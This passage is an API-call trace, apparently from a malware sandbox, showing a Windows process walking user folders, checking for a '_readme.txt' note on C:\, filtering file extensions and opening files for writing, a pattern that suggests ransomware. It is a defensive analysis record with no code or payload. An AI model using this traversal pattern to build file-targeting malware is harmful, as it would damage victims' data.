out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0111.709] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0111.709] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0111.709] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.710] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.710] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\") returned="dQ7tGsp53IT a50pD3\\" [0111.710] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0111.710] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.710] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.710] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.710] PathFindFileNameW (pszPath="") returned="" [0111.710] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\dQ7tGsp53IT a50pD3\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8fdbdf0, ftCreationTime.dwHighDateTime=0x1d4d25c, ftLastAccessTime.dwLowDateTime=0xb33d05e0, ftLastAccessTime.dwHighDateTime=0x1d4d140, ftLastWriteTime.dwLowDateTime=0xb33d05e0, ftLastWriteTime.dwHighDateTime=0x1d4d140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8fdbdf0, ftCreationTime.dwHighDateTime=0x1d4d25c, ftLastAccessTime.dwLowDateTime=0xb33d05e0, ftLastAccessTime.dwHighDateTime=0x1d4d140, ftLastWriteTime.dwLowDateTime=0xb33d05e0, ftLastWriteTime.dwHighDateTime=0x1d4d140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36092ab0, ftCreationTime.dwHighDateTime=0x1d4c6f3, ftLastAccessTime.dwLowDateTime=0xe792e520, ftLastAccessTime.dwHighDateTime=0x1d4cf89, ftLastWriteTime.dwLowDateTime=0xe792e520, ftLastWriteTime.dwHighDateTime=0x1d4cf89, nFileSizeHigh=0x0, nFileSizeLow=0xd219, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1bO9BvF.mp3", cAlternateFileName="")) returned 1 [0111.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745d4240, ftCreationTime.dwHighDateTime=0x1d4cf4c, ftLastAccessTime.dwLowDateTime=0xbff36fe0, ftLastAccessTime.dwHighDateTime=0x1d4c745, ftLastWriteTime.dwLowDateTime=0xbff36fe0, ftLastWriteTime.dwHighDateTime=0x1d4c745, nFileSizeHigh=0x0, nFileSizeLow=0xcc15, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1zNCStn2l4koWKgb1O.m4a", cAlternateFileName="1ZNCST~1.M4A")) returned 1 [0111.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8102460, ftCreationTime.dwHighDateTime=0x1d4ce29, ftLastAccessTime.dwLowDateTime=0x3ef06560, ftLastAccessTime.dwHighDateTime=0x1d4cc7c, ftLastWriteTime.dwLowDateTime=0x3ef06560, ftLastWriteTime.dwHighDateTime=0x1d4cc7c, nFileSizeHigh=0x0, nFileSizeLow=0x14d20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4nAMxRgwJpjNgKt6.mp3", cAlternateFileName="4NAMXR~1.MP3")) returned 1 [0111.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc18a10, ftCreationTime.dwHighDateTime=0x1d4c9b5, ftLastAccessTime.dwLowDateTime=0xd2cf9d90, ftLastAccessTime.dwHighDateTime=0x1d4cb79, ftLastWriteTime.dwLowDateTime=0xd2cf9d90, ftLastWriteTime.dwHighDateTime=0x1d4cb79, nFileSizeHigh=0x0, nFileSizeLow=0x88cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7CaTmGrvAXcZ6sIkKZCC.mp3", cAlternateFileName="7CATMG~1.MP3")) returned 1 [0111.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bcc0480, ftCreationTime.dwHighDateTime=0x1d4d562, ftLastAccessTime.dwLowDateTime=0x6feffed0, ftLastAccessTime.dwHighDateTime=0x1d4caf3, ftLastWriteTime.dwLowDateTime=0x6feffed0, ftLastWriteTime.dwHighDateTime=0x1d4caf3, nFileSizeHigh=0x0, nFileSizeLow=0x143c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7T_HSbo.wav", cAlternateFileName="")) returned 1 [0111.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32736250, ftCreationTime.dwHighDateTime=0x1d4d33f, ftLastAccessTime.dwLowDateTime=0x1e3e5660, ftLastAccessTime.dwHighDateTime=0x1d4d424, ftLastWriteTime.dwLowDateTime=0x1e3e5660, ftLastWriteTime.dwHighDateTime=0x1d4d424, nFileSizeHigh=0x0, nFileSizeLow=0xc66f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8_IgYOYaL.wav", cAlternateFileName="8_IGYO~1.WAV")) returned 1 [0111.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x665e3990, ftCreationTime.dwHighDateTime=0x1d4d48f, ftLastAccessTime.dwLowDateTime=0x7fbd6120, ftLastAccessTime.dwHighDateTime=0x1d4cc4e, ftLastWriteTime.dwLowDateTime=0x7fbd6120, ftLastWriteTime.dwHighDateTime=0x1d4cc4e, nFileSizeHigh=0x0, nFileSizeLow=0x8af3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9t0ADIaokMSyl.mp3", cAlternateFileName="9T0ADI~1.MP3")) returned 1 [0111.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7561690, ftCreationTime.dwHighDateTime=0x1d4c713, ftLastAccessTime.dwLowDateTime=0xf06f4580, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0xf06f4580, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0x133e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D4M5dRYR.m4a", cAlternateFileName="")) returned 1 [0111.716] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19d5160, ftCreationTime.dwHighDateTime=0x1d4c8b5, ftLastAccessTime.dwLowDateTime=0xf95885e0, ftLastAccessTime.dwHighDateTime=0x1d4c6dc, ftLastWriteTime.dwLowDateTime=0xf95885e0, ftLastWriteTime.dwHighDateTime=0x1d4c6dc, nFileSizeHigh=0x0, nFileSizeLow=0x3a6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dpyHTp8b6ly3NNoN.wav", cAlternateFileName="DPYHTP~1.WAV")) returned 1 [0111.717] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.717] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\") returned="rBkn83DAvewyB\\" [0111.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0111.717] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.717] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.717] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.717] PathFindFileNameW (pszPath="") returned="" [0111.717] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9535880, ftCreationTime.dwHighDateTime=0x1d4c9cb, ftLastAccessTime.dwLowDateTime=0xa16895b0, ftLastAccessTime.dwHighDateTime=0x1d4d266, ftLastWriteTime.dwLowDateTime=0xa16895b0, ftLastWriteTime.dwHighDateTime=0x1d4d266, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.721] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.721] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\") returned="UYaZ4DG0b_NROc5iB6tm\\" [0111.721] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0111.722] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.722] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.722] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.722] PathFindFileNameW (pszPath="") returned="" [0111.722] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ba25f0, ftCreationTime.dwHighDateTime=0x1d4cfff, ftLastAccessTime.dwLowDateTime=0x4481de00, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x4481de00, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.724] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.724] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.724] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.725] PathFindFileNameW (pszPath="") returned="" [0111.725] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.725] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.725] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.725] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.725] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0111.725] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0111.726] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x7a427a0 [0111.726] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0111.726] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0111.726] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.727] PathFindExtensionW (pszPath="C:\\hiberfil.sys") returned=".sys" [0111.727] PathFindExtensionW (pszPath="C:\\pagefile.sys") returned=".sys" [0111.727] PathFindExtensionW (pszPath="C:\\_readme.txt") returned=".txt" [0111.727] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.727] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.727] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ee8 [0111.727] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.727] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.727] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.728] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.728] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.729] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.729] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.730] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35ec0 | out: hHeap=0x5010000) returned 1 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ec0 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.730] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.731] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.731] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.731] HeapFree (in: hHeap=0x5010000, 